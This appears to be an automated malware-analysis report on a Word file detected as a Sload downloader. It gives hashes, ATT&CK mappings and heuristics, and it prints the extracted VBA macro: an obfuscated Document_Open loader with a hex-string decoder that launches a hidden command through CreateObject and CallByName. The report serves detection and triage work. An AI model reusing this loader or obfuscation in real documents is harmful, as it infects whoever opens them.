Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 df58ddb70752c550…

MALICIOUS

Office (OLE)

92.5 KB Created: 2018-09-04 23:33:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 0d2fb24cbac13db29e6f14e731205334 SHA-1: d26094e6b4838957f5e64b8cc648b4e467bbf8d8 SHA-256: df58ddb70752c55047153a992f1913f2f8fef1ca78e2cc1ccbeb3314f8c62538
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains obfuscated VBA macros, including a Document_Open auto-execution routine. This routine uses CreateObject and CallByName to execute a decoded string, likely a second-stage payload. The ClamAV detection name 'Doc.Downloader.Sload-6691312-0' further indicates its downloader functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.Sload-6691312-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6691312-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1029 bytes
SHA-256: ddca6ee7a4594d069bd36fca1fef93a7eef7eed6e70cb3bc590217b59707bb87
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function G_(ByVal V_ As String)
Dim WN_(2) As Integer: WN_(0) = Val("38"): WN_(1) = Val("72"): Dim XUZ_ As String: Dim C_ As Long: For C_ = 1 To Len(V_) Step 2: XUZ_ = XUZ_ & Chr(Val(Chr(WN_(0)) & Chr(WN_(1)) & Mid(V_, C_, 2)) - 53): Next: G_ = XUZ_
End Function
Sub Document_Open()
CallByName CreateObject(G_("8C8898A79EA5A963889D9AA1A1")), G_("87AAA3"), VbMethod, G_(ActiveDocument.Variables("EPULI").Value), 0, True
End Sub
Private Function CGDCKV_() As String
JXOXLD_(s, 1)ATRQXDBGU_:Dim GTFLPHTMSWB_(YQKCGW_)):Select Case YPT_: Case Is >= 7: MF_ = "BDGYR_": Case Is >= 140: WD_ = "NIGRDPTFC_": Case Is >= 162: SNK_ = "SABGTJM_": Case Else: TF_ = "GQFUEVF_": End Select:CGDCKV_ = FQGDXUQIU_:
End Function

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